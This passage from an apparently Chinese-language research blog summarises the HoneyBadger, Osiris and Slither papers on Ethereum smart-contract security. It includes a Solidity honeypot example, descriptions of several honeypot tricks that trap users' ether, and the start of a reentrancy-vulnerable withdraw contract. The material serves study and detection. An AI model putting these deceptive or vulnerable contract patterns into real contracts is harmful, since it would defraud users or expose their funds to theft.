class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><code class="hljs javascript">contract Ownable {<br> address owner = msg.sender;<br> modifier onlyOwner {<br> <span class="hljs-built_in">require</span>(msg.sender == owner);<br> _;<br> }<br>}<br>contract KingOfTheHill is Ownable {<br> address public owner;<br> ...<br> <span class="hljs-function"><span class="hljs-keyword">function</span> (<span class="hljs-params"></span>) <span class="hljs-title">public</span> <span class="hljs-title">payable</span> </span>{<br> <span class="hljs-keyword">if</span>(msg.value >jackpot)owner=msg.sender;<br> jackpot += msg.value;<br> }<br> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">takeAll</span> (<span class="hljs-params"></span>) <span class="hljs-title">public</span> <span class="hljs-title">onlyOwner</span> </span>{<br> msg.sender.transfer(<span class="hljs-built_in">this</span>.balance);<br> jackpot = <span class="hljs-number">0</span>;<br> }<br>}<br></code></pre></td></tr></table></figure><p>Figure 3: An example of an inheritance disorder honeypot</p><h4 id="233-skip-empty-string-literal"><a class="markdownIt-Anchor" href="#233-skip-empty-string-literal"></a> 2.3.3 Skip Empty String Literal</h4><p>跳跃空字符串文本.所示的合同允许用户通过向合同的功能投资发送最小数量的以太币来进行投资。所示的合约允许投资者可以通过调用剥离功能来撤回投资。</p><p>从代码上来看没有什么能阻止投资者剥离比最初投资额更大的资产,有些天真的用户认为可以利用剥离的功能。但是实际上Solidity编译器的编码器将跳过函数loggedtranfer(第14行)参数提供的空字符串文本。</p><p>其效果是,此参数之后的所有参数的编码向左移动32字节,因此函数调用参数msg接收target的值,而target被赋予currentOwner的值,最后currentOwner接收默认值零。因此,最终loggedtranfer函数执行到currentOwner而不是target。用户试图利用智能合约的明显漏洞,最后却将投资转移给合约所有者。</p><p><img src="https://aliyun-typora-img.oss-cn-beijing.aliyuncs.com/imgs/20201113214321.png" alt="" /></p><center>Figure 4: An example of a skip empty string literal honeypot.</center><h4 id="234-type-deduction-overflow"><a class="markdownIt-Anchor" href="#234-type-deduction-overflow"></a> 2.3.4 Type Deduction Overflow</h4><p>在Solidity中,当将变量声明为类型var时,编译器使用类型演绎法从分配给该变量的第一个表达式中自动推断出可能的最小类型。下图描述了一个蜜罐示例,它使用了一种我们称为类型演绎法溢出的技术。最初,合约表明用户可以将投资翻番。</p><p>但是变量i的类型为uint8,该类型的最大值为255,小于2*msg . value(2 * 0.1 ether = 2 * 1017 wei)。因此第7行的循环将是无限的。尽管如此,如果变量multi小于amountToTransfer,循环仍然可以停止。这是可能的,因为amountToTransfer被赋值为multi,multi最终在第8行发生整数溢出,将小于amountToTransfer,一旦循环退出,合约将会将一个值返还给访问者,尽管其金额最多为255 wei(以太币的最小子面值为1 ether=10^18 wei),因此远远低于用户最初投资的价值,访问者亏大了。</p><p><img src="https://aliyun-typora-img.oss-cn-beijing.aliyuncs.com/imgs/20201113214343.png" alt="image-20201113214343780" /></p><center>Figure 5: An example of a type deduction overflow honey-pot.<h4 id="235-uninitialised-struct"><a class="markdownIt-Anchor" href="#235-uninitialised-struct"></a> 2.3.5 Uninitialised Struct</h4><p>未初始化结构蜜罐。为了收回合约的余额,合约要求用户要支付一笔以太币并猜测合约中存储的随机数。然而,任何用户都可以很容易地获得随机数的值,因为存储在区块链上的每个数据都是公开可用的。用户只需从区块链中读取随机数,然后通过支付以太币并提供正确的数字来调用函数guessNumber。</p><p>但是,结构没有像受害者想象的那样通过关键字正确初始化。结果,Solidity编译器将结构(player)中包含的第一个变量的存储位置映射到合约(randomNumber)中包含的第一个变量的存储位置,从而用调用方的地址覆盖随机数,致使第14行的条件失败。值得注意的是,蜜罐创建者知道用户可能试图猜测覆盖的值。因此,创建者在第10行这儿将数字限制在1到10之间,这大大减少了用户生成满足此条件的地址的机会。</p><p><img src="https://aliyun-typora-img.oss-cn-beijing.aliyuncs.com/imgs/20201113221924.png" alt="image-20201113221924467" /></p><center>Figure 6: An example of an uninitialised struct honeypot.<h4 id="236-hidden-state-update"><a class="markdownIt-Anchor" href="#236-hidden-state-update"></a> 2.3.6 Hidden State Update</h4><p>隐藏状态更新;除正常交易外,Etherscan还显示所谓的内部消息,这些消息是源自其他合约而非用户帐户的交易。但是Etherscan不显示包含空交易值的内部消息。下图中余额被传递给能够猜出计算存储散列的正确值的人。</p><p>贪婪的用户尝试调用未受保护的SetPass函数,该函数允许使用已知值重写哈希,前提是至少有1个以太币被传输到合约。在分析Etherscan上的内部消息时,用户将找不到调用pashasbeenset函数的任何证据,因此假设pashasbeenset设置为false。但是,为了无声地更新变量passHasBeenSet的状态,蜜罐创建者利用Etherscan执行的过滤,从另一个合约调用函数passHasBeenSet并使用空交易值。因此,通过查看显示在Etherscan上的内部消息,不知情的用户会认为变量设置为false,并放大胆地将以太币传输到SetPass函数。</p><p><img src="https://aliyun-typora-img.oss-cn-beijing.aliyuncs.com/imgs/20201113214654.png" alt="image-20201113214654700" /></p><center>Figure 7: An example of a hidden state update honeypot.<h4 id="237-hidden-transfer"><a class="markdownIt-Anchor" href="#237-hidden-transfer"></a> 2.3.7 Hidden Transfer</h4><p>隐藏转移;Etherscan在一个HTML textarea元素中显示源代码,在这个元素中,较大的代码行将只显示到一定的宽度,而代码行的其余部分将被隐藏并单独可见。下面的的合约利用了这个“特性”,在函数drawall的第4行引入了一长串空白,有效地隐藏了下面的代码。如果函数的调用方不是所有者,则隐藏代码将抛出,从而阻止随后向函数的任何调用方传递余额。</p><p><img src="https://aliyun-typora-img.oss-cn-beijing.aliyuncs.com/imgs/20201113214719.png" alt="image-20201113214718962" /></p><p>Figure 8: An example of a hidden transfer honeypot.</p><h4 id="238-straw-man-contract"><a class="markdownIt-Anchor" href="#238-straw-man-contract"></a> 2.3.8 Straw Man Contract</h4><p>稻草人合约;用户需要首先调用Deposit(定金)并传输最小数量的以太币。最后,用户调用CashOut函数,该函数执行对TransferLog中存储的合约地址的调用。但是实际上蜜罐创建者没有使用合约log的地址初始化合约。相反,它是用另一个地址初始化的,而此时这个地址指向的是实现同一接口的其他合约,而如果函数AddMessage的调用方不是蜜罐创建者,则执行异常,用户执行的调用将始终失败。另一种选择,是在转移余额之前使用Delegatecall。Delegatecall允许攻击者将用户地址与其自己的地址交换,所以当从Delegatecall返回时,余额将转移给攻击者而不是用户。</p><p><img src="https://aliyun-typora-img.oss-cn-beijing.aliyuncs.com/imgs/20201113214743.png" alt="image-20201113214743650" /></p><center>Figure 9: An example of a straw man contract honeypot.<h2 id="三-设计实现"><a class="markdownIt-Anchor" href="#三-设计实现"></a> 三、设计实现</h2><h3 id="31-honeybadger"><a class="markdownIt-Anchor" href="#31-honeybadger"></a> 3.1 HONEYBADGER</h3><p><img src="https://aliyun-typora-img.oss-cn-beijing.aliyuncs.com/imgs/20201113215018.png" alt="image-20201113215001706" /></p><center>Figure 10: An overview of the analysis pipeline of HONEY-BADGER. The shaded boxes represent the main components.</center><p>HONEYBADGER 将EVM字节码作为输入,并返回一个关于它检测到的不同蜜罐技术的详细报告作为输出。HONEYBADGER主要由三部分组成:符号分析、现金流分析和蜜罐分析。</p><ol><li>符号分析的结果随后传播到现金流分析组件和蜜罐分析组件。</li><li>现金流分析组件使用符号分析的结果来检测合同是否能够接收和转移资金。</li><li>最后,蜜罐分析组件旨在结合启发式和符号分析的结果来检测本文研究的不同蜜罐技术。</li></ol><p>这三个组件中的每一个都使用Z3 SMT解算器来检查公式满足性(对变量取值使得某个公式成立)</p><h3 id="32-implementation"><a class="markdownIt-Anchor" href="#32-implementation"></a> 3.2 Implementation</h3><p>HONEYBADGERis在Python中实现,大约有4000行代码。下面简要描述每个主要组件的实现细节。</p><h4 id="321-symbolic-analysis"><a class="markdownIt-Anchor" href="#321-symbolic-analysis"></a> 3.2.1 Symbolic Analysis</h4><p>符号分析的目的是收集各种可能有助于以后分析的信息。此信息包括存储写入的列表、执行路径<code>P</code>的列表、不可行和可行的基本块的列表、执行的乘法和加法的列表以及调用的列表<code>C</code>。一个调用由元组<code>(Cr,Cv,Cf,Ca,Ct,Cg)</code>组成,其中<code>Cr</code>是接收者,<code>Cv</code>是调用值,<code>Cf</code>是被调用的合约函数,<code>Ca</code>是函数参数列表,<code>Ct</code>是调用类型(即调用或委托调用),<code>Cg</code>是调用的矿工费。</p><h4 id="322-cash-flow-analysis"><a class="markdownIt-Anchor" href="#322-cash-flow-analysis"></a> 3.2.2 Cash Flow Analysis</h4><p>蜜罐必须能够接收资金(例如受害者的投资)和转移资金(例如攻击者的赃物)。现金流分析的目的是通过排除无法接收或转移资金的合约来提高蜜獾的检测效率。编译器在编译期间添加一个检查,如果非应付函数接收到大于零的交易值,则该检查将还原交易。</p><p>基于这些观察,首先遍历P中包含的所有可能的执行路径,从而验证合约是否能够接收资金。之后,使用Z3 SMT解算器来验证在执行路径p的给定路径条件下,约束<code>Iv>0</code>(交易值大于0)是否可以满足,如果p满足约束,便可知资金可以流入合约。同时通过遍历C中包含的所有调用并检查是否存在调用C(其中Cv是符号的或Cv>0)以及遍历P中包含的所有执行路径并检查是否存在以自毁方式终止的执行路径P。如果找到至少一个满足上述条件的调用C或执行路径p,资金可能流出合约。</p><h4 id="323-honeypot-analysis"><a class="markdownIt-Anchor" href="#323-honeypot-analysis"></a> 3.2.3 Honeypot Analysis</h4><p>蜜罐分析包括几个子组件。每个子组件负责检测特定的蜜罐技术。每种蜜罐技术都是通过试探法来确定的,下面描述每个子组件的实现</p><p>1、平衡紊乱</p><p>遍历调用列表C中包含的所有调用,如果有调用符合<code>Cv=Iv+σ[Ia]b</code>,调用值=交易值(受害者打入的钱)+合约余额,则报告一个平衡紊乱。</p><p>2、遗传障碍</p><p>在字节码级别检测继承无序相当困难,因为字节码不包含有关继承的信息。因此,我们利用特定于此蜜罐技术的实现细节:一是存在一个写入存储位置的<code>Is</code>(用于诱骗受害者);二是存在一个调用C,其路径条件包含<code>Is</code>和存储变量之间的比较,其存储位置不同于1中标识的存储位置。(这个是合约拥有者的地址)</p><p>3、跳过空字符串文本</p><p>遍历C中包含的所有调用,并检查调用C中<code>Ca</code>中的参数数是否小于<code>Cf</code>所期望的参数数,如果小于,说明中间有一个参数被略过,报告一个跳过空字串文本字节</p><p>4、类型演绎溢出</p><p>遍历C中包含的所有调用,检查调用C中是否存在Cv包含乘法或加法的结果,同时乘法或加法是通过<code>and mask</code>截断的,值为<code>0xff</code>(表示8位整数的最大值255),如果存在,这符合类型演绎溢出的现象</p><p>5、未初始化结构</p><p>使用正则表达式提取结构的存储位置,结构的第一个元素指向基本块中的存储位置,具体地讲就是调用列表C中存在一个调用C,其中Cv包含来自结构的存储位置的值,或者C的路径条件取决于结构的存储位置,那就报告一个未初始化结构</p><p>6、隐藏状态更新</p><p>遍历C中包含的所有调用并检查是否存在调用C来检测隐藏状态更新,该调用C的路径条件取决于可以通过另一个函数修改的存储值,而不是进行资金转移(源码中即使资金转移了,还是无法调用成功,因为条件不满足,这个无法满足的条件在受害者看来是满足的)。</p><p>7、隐藏转移</p><p>如果存在两个连续的调用C和C’存在于同一执行路径p上,且其调用接收者不同,满足<code>Cr∈σ[Ia]s∧Cv=σ[Ia]b,C'r=Is∧C'v=σ[Ia]b</code>,上报一个隐藏转移</p><p>8、稻草人合约</p><p>验证两个连续的调用c和c’是否沿着相同的执行路径p存在,其中<code>Cr =C'r</code>。然后两种情况:一是C在C’之后执行,其中<code>C't=DELEGATECALL∧Cv=σ[Ia]b∧Cr=Is</code>;另一种是C在C’之前执行,其中<code>C't=CALL∧Is∈C'a</code></p><h2 id="四-实验评估"><a class="markdownIt-Anchor" href="#四-实验评估"></a> 四、实验评估</h2><h3 id="41-experimental-setup"><a class="markdownIt-Anchor" href="#41-experimental-setup"></a> 4.1 Experimental Setup</h3><p>所有实验均在具有960 GB内存的10个节点的高性能计算集群上进行,其中每个节点具有2个Intel Xeon L5640 CPU,每个CPU具有12个内核,时钟频率为2.26 GHz,运行64位Debian Jessie 8.10。</p><h3 id="42-实验结果"><a class="markdownIt-Anchor" href="#42-实验结果"></a> 4.2 实验结果</h3><p>在151935个独特的智能合约集上运行HONEYBADGER,在分析的151935份合约中,48487份被标记为现金流合约。</p><p>换言之,在分析的合约中,只有32%能够接收和发送资金。总共690个合约被确定为蜜罐,其中包括22个平衡障碍(BD)、75个继承障碍(ID)、11个跳过空字符串文字(SESL)、5个类型演绎溢出(TDO)、80个未初始化结构(US)、382个隐藏状态更新(HSU)、14个隐藏传输(HT)以及101个稻草人合约(SMC)。</p><h4 id="validation"><a class="markdownIt-Anchor" href="#validation"></a> Validation</h4><p>为了确认蜜獾的正确性,作者对标记为蜜罐的合约的源代码进行了手动检查。通过手动扫描源代码以确定检测到的蜜罐技术的特征来验证标记的合约。例如,如果合约被标记为平衡紊乱,则检查源代码是否包含一个函数,该函数在且仅当发送到函数的值大于或等于合约的余额时,才将合同的余额传输给调用方。</p><center>Table 2: Number of true positives (TP), false positives (FP)and precisionp(in %) per detected honeypot technique forcontracts with source code.<p><img src="https://aliyun-typora-img.oss-cn-beijing.aliyuncs.com/imgs/20201113215916.png" alt="image-20201113215916206" /></p><p>真阳性(TP)、假阳性(FP)和精度p(in%)其中p计算为p=TP/(TP+FP),真阳性表示合同就所报告的技术而言确实是蜜罐,假阳性表示合同就所报告的技术而言不是蜜罐。</p><p>总的来说,蜜獾显示了非常高的精确度和非常低的假阳性率。分析的8个蜜罐技术中有5个达到了0%的假阳性率。</p><h4 id="liveness"><a class="markdownIt-Anchor" href="#liveness"></a> Liveness</h4><p>作者使用简单的启发式方法将每个地址标记为攻击者或受害者。如果一个地址是:1)创建了蜜罐;2)是向蜜罐发送以太币的第一个地址;3)收到的以太币比实际花在蜜罐上的以太币多,则该地址会被标记为攻击者。</p><p>如果一个地址没有被标记为攻击者,并且收到的以太币少于在蜜罐上实际花费的以太币,则该地址被标记为受害者。最后,利用这些信息判断蜜罐是成功的、中止的还是仍然处于活动状态。如果检测到受害者,则蜜罐标记为成功;如果余额为零且未检测到受害者,则蜜罐标记为中止;如果余额大于零且未检测到受害者,则蜜罐标记为活动。</p><p><img src="https://aliyun-typora-img.oss-cn-beijing.aliyuncs.com/imgs/20201113220417.png" alt="image-20201113220417376" /></p><center>Figure 13 Number of successful, active and aborted honey-pots per honeypot technique<p>上图显示了每个蜜罐技术成功、中止和活动的蜜罐数。结果表明,跳过空字符串文字是最有效的蜜罐技术,成功率约为78%,而隐藏传输是最不有效的技术,成功率仅为33%。蜜罐的总成功率似乎很低,约为37%</p><h4 id="profitability"><a class="markdownIt-Anchor" href="#profitability"></a> Profitability</h4><center>Table 3: Bytecode similarity (in %) per honeypot technique<p><img src="https://aliyun-typora-img.oss-cn-beijing.aliyuncs.com/imgs/20201113220525.png" alt="image-20201113220525070" /></p><p>作者统计了每种蜜罐技术的盈利能力。盈利能力按收到金额计算(支出金额+交易费用),最赚钱的蜜罐是稻草人合同蜜罐,平均值为1.76以太币,而最不赚钱的蜜罐是未初始化结构蜜罐,平均值为0.46以太币。</p><h2 id="五-总结评价"><a class="markdownIt-Anchor" href="#五-总结评价"></a> 五、总结评价</h2><p>1、论文的核心思想是利用已经检测出来的几种恶意蜜罐的技术特点,来构建一款探测蜜罐的工具,以帮助选择智能合约的客户规避陷阱。</p><p>2、工具的名字也是生动形象极具创意:HONEYBADGER(蜜獾,一种非常喜欢食用蜜的动物),工具通过三层结构来分别分析遇到的智能合约的三个方面,其中都用了Z3 SMT求解器来检查合约是否满足约束条件,三层线索层层叠加,最后判断蜜罐技术类型。</p>]]></content>
<categories>
<category>智能合约</category>
</categories>
<tags>
<tag>Smart Contract</tag>
<tag>符号执行</tag>
</tags>
</entry>
<entry>
<title>Osiris:Hunting for Integer Bugs in Ethereum Smart Contracts</title>
<link href="/2020/113371ffa.html"/>
<url>/2020/113371ffa.html</url>
<content type="html"><![CDATA[<h1 id="osirishunting-for-integer-bugs-in-ethereum-smart-contracts"><a class="markdownIt-Anchor" href="#osirishunting-for-integer-bugs-in-ethereum-smart-contracts"></a> Osiris:Hunting for Integer Bugs in Ethereum Smart Contracts</h1><p>论文题目:(2018-ACSAC)<a href="https://dl.acm.org/doi/abs/10.1145/3274694.3274737">Osiris: Hunting for integer bugs in ethereum smart contracts</a> ——在以太坊智能合约中寻找整数错误</p><p>论文引用:Torres C F, Schütte J, State R. Osiris: Hunting for integer bugs in ethereum smart contracts[C]//Proceedings of the 34th Annual Computer Security Applications Conference. 2018: 664-676.</p><p>代码开源:<a href="https://github.com/christoftorres/Osiris">https://github.com/christoftorres/Osiris</a></p><h2 id="一-主要内容"><a class="markdownIt-Anchor" href="#一-主要内容"></a> 一、主要内容</h2><p>本文的研究重点是与整数错误(integer bugs)相关的安全漏洞,这类漏洞是由以太坊虚拟机与Solidity编程语言的一些特性而导致的,所以难以避免。文章针对这类漏洞提出了OSIRIS工具,该工具是一个将<mark>符号执行与污点分析相结合</mark>的漏洞检测框架,旨在精确地寻找以太坊智能合约中整数错误导致的安全漏洞。</p><p>该工具针对EVM字节码自动化检测与整数错误相关的安全漏洞,目前覆盖了三种不同种类的整数错误:</p><ol><li>算术错误(arithmetic bugs)</li><li>截断错误(truncation bugs)</li><li>符号错误(signedness bugs)</li></ol><p>分析了495个以太坊代币智能合约并且在一些合约中发现了未知的安全漏洞,同时针对与整数错误相关的安全漏洞提出了对EVM与Solidity编译器的修改防护方案;本文使用OSIRIS工具对截至2018年1月所有已经部署在以太坊区块链中的智能合约进行了自动化检测,发现其中有42,108个智能合约至少存在有一种上述与整数错误相关的安全漏洞;</p><h2 id="二-设计实现"><a class="markdownIt-Anchor" href="#二-设计实现"></a> 二、设计实现</h2><h3 id="21-background"><a class="markdownIt-Anchor" href="#21-background"></a> 2.1 Background</h3><h4 id="211-以太坊虚拟机"><a class="markdownIt-Anchor" href="#211-以太坊虚拟机"></a> 2.1.1 以太坊虚拟机</h4><p>矿工使用以太坊虚拟机(EVM)执行智能合约,EVM是用于执行EVM字节码的基于栈的虚拟机。</p><h4 id="212-solidity编程语言"><a class="markdownIt-Anchor" href="#212-solidity编程语言"></a> 2.1.2 Solidity编程语言</h4><p>Solidity的语法虽然与C和JavaScript相似,但是Solidity存在一系列专门针对智能合约开发的独有概念。Solidity是静态类型语言,整数分为有符号整数与无符号整数,宽度最低为8bit,最高为256bit。然而在EVM中,所有的整数均以256bit大端补码的形式存放。也就是说,Solidity中的整数类型系统与EVM中的整数类型系统存在不一致,这极有可能导致严重的编码错误。</p><h4 id="213-以太坊智能合约中的整数错误"><a class="markdownIt-Anchor" href="#213-以太坊智能合约中的整数错误"></a> 2.1.3 以太坊智能合约中的整数错误</h4><p>本文描述了三种类型的整数错误,这些整数错误有可能导致恶意用户窃取以太币或者更改智能合约的执行路径。</p><h5 id="算术错误"><a class="markdownIt-Anchor" href="#算术错误"></a> <strong>算术错误</strong></h5><p>算术错误包括整数上溢、整数下溢、除数为零和模数为零这四种错误。值得注意的是,EVM与Solidity针对越界行为的处理方式是不完全相同的,而且在EVM和Solidity旧版本(0.4.0之前)除数为零和模数为零只会导致运算结果为0,并不会触发异常。</p><p><img src="https://aliyun-typora-img.oss-cn-beijing.aliyuncs.com/imgs/20201105190327.png" alt="image-20201105190327479" /></p><h5 id="截断错误"><a class="markdownIt-Anchor" href="#截断错误"></a> <strong>截断错误</strong></h5><p>将一个整数类型数据转换为宽度更短的整数类型数据,可能会导致精度的丢失</p><h5 id="符号错误"><a class="markdownIt-Anchor" href="#符号错误"></a> <strong>符号错误</strong></h5><p>将一个有符号整数类型数据转换为相同宽度的无符号整数类型数据,可能会导致一个负数变为一个很大的整数(反之亦然)。</p><h3 id="22-methodology"><a class="markdownIt-Anchor" href="#22-methodology"></a> 2.2 METHODOLOGY</h3><h4 id="221-类型推断"><a class="markdownIt-Anchor" href="#221-类型推断"></a> 2.2.1 类型推断</h4><p>整数的类型信息,例如宽度和符号,通常只能从智能合约的源代码中直接获得,而不能从字节码中获得。尽管如此,通过分析Solidity编译器在编译过程中引入的代码优化规则,人们依旧能够根据特定代码优化规则从智能合约字节码中间接地推测整数的类型信息。</p><p>对于无符号整数,编译器会使用AND操作符屏蔽不在整数宽度范围内的bit,例如编译器会将uint32数据与位掩码0Xffffffff进行AND操作。</p><p>对于有符号整数,编译器会使用SIGNEXTEND操作符对数据进行符号扩展,数据的宽度可以根据SIGNEXTEND操作符的第一个参数i的值计算获得,即8 * (i + 1)。</p><h4 id="222-寻找整数错误"><a class="markdownIt-Anchor" href="#222-寻找整数错误"></a> 2.2.2 寻找整数错误</h4><h5 id="算术错误-2"><a class="markdownIt-Anchor" href="#算术错误-2"></a> 算术错误</h5><p>对于每一条可能导致整数上溢或者整数下溢错误的算术指令,作者检查在当前的路径条件下指令是否有可能违反Table 1中所列举的各条边界检查要求,如果指令可能违反任意一条边界检查要求,则该指令存在算数错误。</p><h5 id="截断错误-2"><a class="markdownIt-Anchor" href="#截断错误-2"></a> 截断错误</h5><p>Solidity分别使用AND和SIGNEXTEND指令截断有符号整数和无符号整数。作者检查每一条AND指令和SIGNEXTEND指令的输入是否大于指令的输出,以判断指令是否存在截断错误。</p><p>此外,为了检测并忽略Solidity编译器有意引入的截断,例如address类型数据的转换以及storage中变量的压缩存储,作者还对于检测得到存在截断错误的指令进行了进一步的筛选。</p><h5 id="符号错误-2"><a class="markdownIt-Anchor" href="#符号错误-2"></a> 符号错误</h5><p>作者根据特定指令的符号限制对所有整数类型数据的符号信息进行推断。所有数据的初始标记为”Top“;如果一个数据被当做有符号整数使用过,则将该数据标记为”Signed“;如果一个数据被当做无符号整数使用过,则将该数据标记为”Unsigned“;如果一个数据既被当做有符号整数使用过,又被当做无符号整数使用过,则将该数据标记为”Bottome“,表示该整数类型数据存在符号错误。</p><h4 id="223-污点分析taint-analysis"><a class="markdownIt-Anchor" href="#223-污点分析taint-analysis"></a> 2.2.3 污点分析(Taint Analysis)</h4><p>作者使用污点分析筛选掉不能被实际利用攻击的整数错误,以降低误报率:</p><ul><li>Sources:CALLDATALOAD,CALLDATACOPY;</li><li>Sinks:SSTORE,JUMPI,CALL,RETURN</li></ul><p><img src="https://aliyun-typora-img.oss-cn-beijing.aliyuncs.com/imgs/20201105190814.png" alt="image-20201105190814318" /></p><h4 id="224-识别良性整数错误"><a class="markdownIt-Anchor" href="#224-识别良性整数错误"></a> 2.2.4 识别良性整数错误</h4><p>作者使用了一些启发式规则以识别良性的整数错误。例如,当发现整数错误是分支条件的一部分时,作者通过检查分支条件谓词的左右两边是否都使用了相同的变量,且其后的某一基本块是否是以JUMPI、REVERT或ASSERTFAIL指令结尾,以判断该分支条件谓词是否是设计用于检查该整数错误的。</p><h3 id="23-osiris"><a class="markdownIt-Anchor" href="#23-osiris"></a> 2.3 OSIRIS</h3><p>OSIRIS是在OYENTE符号执行引擎的基础上实现的,包括三个主要的组成部分:symbolic analysis、taint analysis与integer error detection。</p><ul><li>symbolic analysisi组件:构建控制流图(CFG)、符号执行智能合约的不同路径,并将每一条指令执行的结果传递给其他两个组件;</li><li>taint analysis组件:引入、传播并检查stack、memory和storage中的污点;</li><li>Integer error detection组件:检查在执行的指令中是否存在整数错误</li></ul><p><img src="https://aliyun-typora-img.oss-cn-beijing.aliyuncs.com/imgs/20201105191107.png" alt="image-20201105191107158" /></p><center>Architecture overview of Osiris. The shaded boxesrepresent its main components.</center><h2 id="三-实验评估"><a class="markdownIt-Anchor" href="#三-实验评估"></a> 三、实验评估</h2><h3 id="31-empirical-analysis经验分析"><a class="markdownIt-Anchor" href="#31-empirical-analysis经验分析"></a> 3.1 Empirical Analysis(经验分析)</h3><h4 id="qalitative-analysis定性分析"><a class="markdownIt-Anchor" href="#qalitative-analysis定性分析"></a> Qalitative Analysis(定性分析)</h4><p>作者将OSIRIS工具与ZEUS工具进行了比较,发现ZEUS工具无法达到其自称的零漏报率的可靠性,相比较而言OSIRIS工具能够检测出更多的漏洞,并且具有低得多的误报率。</p><center>Comparison between ZEUS and Osiris</center><p><img src="https://aliyun-typora-img.oss-cn-beijing.aliyuncs.com/imgs/20201105191308.png" alt="image-20201105191308777" /></p><h4 id="qantitative-analysis定量分析"><a class="markdownIt-Anchor" href="#qantitative-analysis定量分析"></a> Qantitative Analysis(定量分析)</h4><p>作者对于以太坊区块链前5,000,000个区块中的1,207,335个智能合约使用OSIRIS工具进行了大规模自动化分析。</p><p><img src="https://aliyun-typora-img.oss-cn-beijing.aliyuncs.com/imgs/20201105191509.png" alt="image-20201105191509880" /></p><center>Number of vulnerable contracts reported by Osirisper integer bug</center><p><img src="https://aliyun-typora-img.oss-cn-beijing.aliyuncs.com/imgs/20201105191525.png" alt="image-20201105191525944" /></p><center>Number of vulnerable contracts per arithmetic errortype</center><h3 id="32-detection-of-real-world-vulnerabilities"><a class="markdownIt-Anchor" href="#32-detection-of-real-world-vulnerabilities"></a> 3.2 Detection of Real-World Vulnerabilities</h3><p>作者使用OSIRIS检测了排名前495的以太坊代币智能合约,重新检测出了已知的5个整数溢出错误导致的安全漏洞,并检测出其中例如RMC与UET等以太坊代币智能合约存在与整数错误相关的安全漏洞。</p><p><img src="https://aliyun-typora-img.oss-cn-beijing.aliyuncs.com/imgs/20201105191837.png" alt="image-20201105191837115" /></p><h2 id="四-总结评价"><a class="markdownIt-Anchor" href="#四-总结评价"></a> 四、总结评价</h2><ol><li>Osiris是基于Oyente开发的工具,拓展了在算术运算方面的漏洞检测率,相较于Oyente改进了一些。</li><li>Osiris工具上次更新已经是两年以前了,应该是没有再继续维护。</li></ol>]]></content>
<categories>
<category>智能合约</category>
</categories>
<tags>
<tag>Smart Contract</tag>
<tag>符号执行</tag>
<tag>污点分析</tag>
</tags>
</entry>
<entry>
<title>Slither: A Static Analysis Framework For Smart</title>
<link href="/2020/103af384f2.html"/>
<url>/2020/103af384f2.html</url>
<content type="html"><![CDATA[<h1 id="slither-a-static-analysis-framework-for-smart"><a class="markdownIt-Anchor" href="#slither-a-static-analysis-framework-for-smart"></a> Slither: A Static Analysis Framework For Smart</h1><p>论文标题:(2019-ICSE) <a href="https://arxiv.org/abs/1908.09878">Slither: a static analysis framework for smart contracts</a> ——智能的静态分析框架</p><ul><li>补充阅读:<a href="https://blog.trailofbits.com/2019/05/27/slither-the-leading-static-analyzer-for-smart-contracts/">Slither: The Leading Static Analyzer for Smart Contracts</a></li></ul><p>论文引用:Feist J, Grieco G, Groce A. Slither: a static analysis framework for smart contracts[C]//2019 IEEE/ACM 2nd International Workshop on Emerging Trends in Software Engineering for Blockchain (WETSEB). IEEE, 2019: 8-15.</p><p>代码开源:<a href="https://github.com/crytic/slither">Slither:the Solidity source analyzer</a>,</p><h2 id="一-主要内容"><a class="markdownIt-Anchor" href="#一-主要内容"></a> 一、主要内容</h2><h3 id="可重入攻击介绍"><a class="markdownIt-Anchor" href="#可重入攻击介绍"></a> 可重入攻击介绍</h3><p>可重入攻击也就是攻击方发送一笔交易,导致合约一致重复执行直到将合约账户的资源消耗完。攻击方能成功进行可重入攻击,主要依赖于Soildity为智能合约提供的<mark>fallback和call函数</mark>,下面先对这两个函数的功能进行介绍。</p><h4 id="fallback-函数"><a class="markdownIt-Anchor" href="#fallback-函数"></a> Fallback 函数</h4><p>以太坊的智能合约,可以声明一个匿名函数(unnamed function),叫做 Fallback 函数,这个函数不带任何参数,也没有返回值。当向这个合约发送消息时,如果没有找到匹配的函数就会调用 fallback 函数。比如向合约转账,但要合约接收 Ether,那么 fallback 函数必须声明为 payable,否则试图向此合约转 ETH 将失败。如下:</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><code class="hljs javascript"><span class="hljs-function"><span class="hljs-keyword">function</span>(<span class="hljs-params"></span>) <span class="hljs-title">payable</span> <span class="hljs-title">public</span> </span>{ <span class="hljs-comment">// payable 关键字,表明调用此函数,可向合约转 Ether。</span><br>}<br></code></pre></td></tr></table></figure><p>向合约发送 send、transfer、call 消息时候都会调用 fallback 函数,不同的是 send 和 transfer 有 2300 gas 的限制,也就是传递给 fallback 的只有 2300 gas,这个 gas 只能用于记录日志,因为其他操作都将超过 2300 gas。但 call 则会把剩余的所有 gas 都给 fallback 函数,这有可能导致循环调用。</p><h4 id="call函数"><a class="markdownIt-Anchor" href="#call函数"></a> Call函数</h4><p>call 可导致可重入攻击,当向合约转账的时候,会调用 fallback 函数,带有漏洞的合约代码如下:</p><ul><li>withdraw函数的msg.sender.call.value可能成为恶意代码攻击的地方。</li><li>如果发起交易方也是智能合约账户,当攻击方的合约账户通过调用Reentrance合约的withdraw函数进行提现的时候,由于调用call函数,将会调用攻击方合约的fallback函数;如果fallback代码再次调用Reentrance合约的withdraw函数就会形成代码可重入,将Reentrance合约账户的金额全部提走而在区块的记录仅仅提现了第一笔</li></ul><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><code class="hljs javascript">contract Reentrance {<br> mapping(<span class="hljs-function"><span class="hljs-params">address</span> =></span> 